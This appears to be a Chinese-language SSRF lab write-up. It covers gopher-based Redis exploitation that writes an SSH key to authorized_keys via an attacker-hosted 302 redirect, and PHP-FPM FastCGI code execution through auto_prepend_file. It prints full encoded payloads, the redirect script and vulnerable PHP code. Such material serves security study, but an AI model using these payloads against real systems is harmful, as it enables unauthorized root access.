目录
一、SSRF (Server-side Request Forge, 服务端请求伪造)
1、概念:
2、ssrf示意图
3、Ssrf类型:
4、SSH未创建写shell的SSRF实现
二、漏洞复现
1、代码
2、存在 .ssh 文件:
3、Redis无密码,以root身份运行:
4、攻击步骤:
5、伪造Redis数据向 .ssh写入SSH公钥
6、id_rsa.pub文件里的数据为SSH公钥
7、在自己的服务器上写302 跳转
8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。
三、PHP-FPM FastCGI 未授权利用
四、CGI、PHP-FPM、FastCGI
1、CGI原理
2、PHP-FPM通信方式
3、PHP-FPM漏洞原理
4、FastCGI攻击原理
五、SSRF攻击本地的PHP-FPM
一、SSRF (Server-side Request Forge, 服务端请求伪造)
1、概念:
它是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
2、ssrf示意图
1.攻击者向服务器A发送一个让服务器A访问另外一个服务器B的请求
2.服务器A向服务器B发送一个请求
3.服务器B向服务器A发送响应
4.服务器A向黑客发送服务器B的响应
3、Ssrf类型:
Basic ssrf:返回结果到客户端,如果响应是一个网站,就会显示相应的界面或对应的html代码
Bind ssrf: 不会返回响应给客户端。
4、SSH未创建写shell的SSRF实现
要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造请求,这些请求可以用来与目标系统的SSH服务通信。通常,这涉及到以下步骤: 1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部请求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标系统的SSH端口发送请求。
3.绕过身份验证:如果目标系统的SSH服务没有正确配置,攻击者可能会尝试利用已知的漏洞或默认凭证来绕过身份验证。
4.执行命令:一旦建立了SSH连接,攻击者可以尝试在目标系统上执行命令,以获取shell访问权限。
5.持久化访问:为了保持对目标系统的控制,攻击者可能会尝试写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。
二、漏洞复现
1、代码
<!--index.html代码--><!DOCTYPE html>
<head><meta charset="utf-8">
</head>
<form action='index.php' method='get'>input url: <input type="text" name="url"><br><input type="submit" value="提交">
</form>
# indexp.php 代码
<?phpfunction check_ip($url) #对ip进行限制,现在内网ip{$match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);if(!$match_res){echo 'url fomat erro';exit();}try{$url_parse=parse_url($url);}catch(Exception $e){echo 'url fomat error';exit();}$ip=gethostbyname($url_parse['host']);echo $ip;$ini_ip=ip2long($ip);if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip')){echo "ip can not inner ip";exit();}}$ch=curl_init();$url=$_GET['url'];check_ip($url);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER); #302调转支持gopher协议curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); #跟随跳转$res=curl_exec($ch);curl_close($ch);echo $res;?>
2、存在 .ssh 文件:
3、Redis无密码,以root身份运行:
4、攻击步骤:
1、访问 http://漏洞机公网ip/index.html
5、伪造Redis数据向 .ssh写入SSH公钥
在kali 的 /root/.ssh/ 下执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:
6、id_rsa.pub文件里的数据为SSH公钥
用SSH公钥数据伪造Redis数据:
操作和上面的一样只是把上面的php代码换成 这个SSH公钥即可。得到的数据删除 “<”,“>”,“+OK” 后如下:
*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$567\rssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE= root@kali\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$11\r
/root/.ssh/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$15\r
authorized_keys\r
*1\r
$4\r
save\r
将“\r”转换为 “%0d”,“\n”转换为“%0a”,“$”转换为“%24” ,将SSH公钥部分用URL编码后如下:
*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A
7、在自己的服务器上写302 跳转
# 在另一台自己的服务器上写一个302 重定向的代码
# index.php 代码
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>
8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。
成功无密登录服务机。
三、PHP-FPM FastCGI 未授权利用
首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害
# 保证实验vps具有git、docker、pip、docker-compose、python基础环境
## 下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
## 找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d
环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口
成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限
四、CGI、PHP-FPM、FastCGI
1、CGI原理
我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者
当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理
当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程 这其中,引出如下概念:
**FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
**PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能
PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module、CGI、FastCGI,给IIS的ISAPI,以及Shell的CLI
经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + PHP-FPM(PHP-CGI)方式FastCGI工作原理
Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接
由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。
2、PHP-FPM通信方式
在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式
TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式
配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行
3、PHP-FPM漏洞原理
到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信
此时,我们自行构造SCRIPT_FILENAME
的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd
但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions
选项
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被FPM执行,默认是.php
。
因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:
-
通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径
-
找安装PHP后默认存在的PHP文件,如
/usr/local/lib/php/PEAR.php
现在,拿到了文件名,我们能控制SCRIPT_FILENAME
,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type
值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的
PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件
若我们设置auto_prepend_file
为php://input
(allow_url_include=on
),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了
那么我们如何设置PHP.INI中auto_prepend_file
的值呢?
我们可以通过PHP-FPM的两个环境变量,PHP_VALUE
PHP_ADMIN_VALUE
来设置PHP.INI
最终,我们设置向PHP-FPM传递的环境变量:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'
}
最后两行设置auto_prepend_file = php://input
且allow_url_include = On
,然后将我们需要执行的代码放在Body中,即可执行任意代码
4、FastCGI攻击原理
HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议
Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
typedef struct {/* Header */unsigned char version; // 版本unsigned char type; // 本次record的类型unsigned char requestIdB1; // 本次record对应的请求idunsigned char requestIdB0;unsigned char contentLengthB1; // body体的大小unsigned char contentLengthB0;unsigned char paddingLength; // 额外块大小unsigned char reserved; /* Body */unsigned char contentData[contentLength];unsigned char paddingData[paddingLength];
} FCGI_Record;
语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体
Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可
可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节
其中,header中的type
代表本次record的类型,所有值及具体含义如下
服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type
为1的record,后续互相交流,发送type
为4、5、6、7的record,结束时发送type
为2、3的record
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉FPM:“我要执行哪个PHP文件”
当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
五、SSRF攻击本地的PHP-FPM
生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果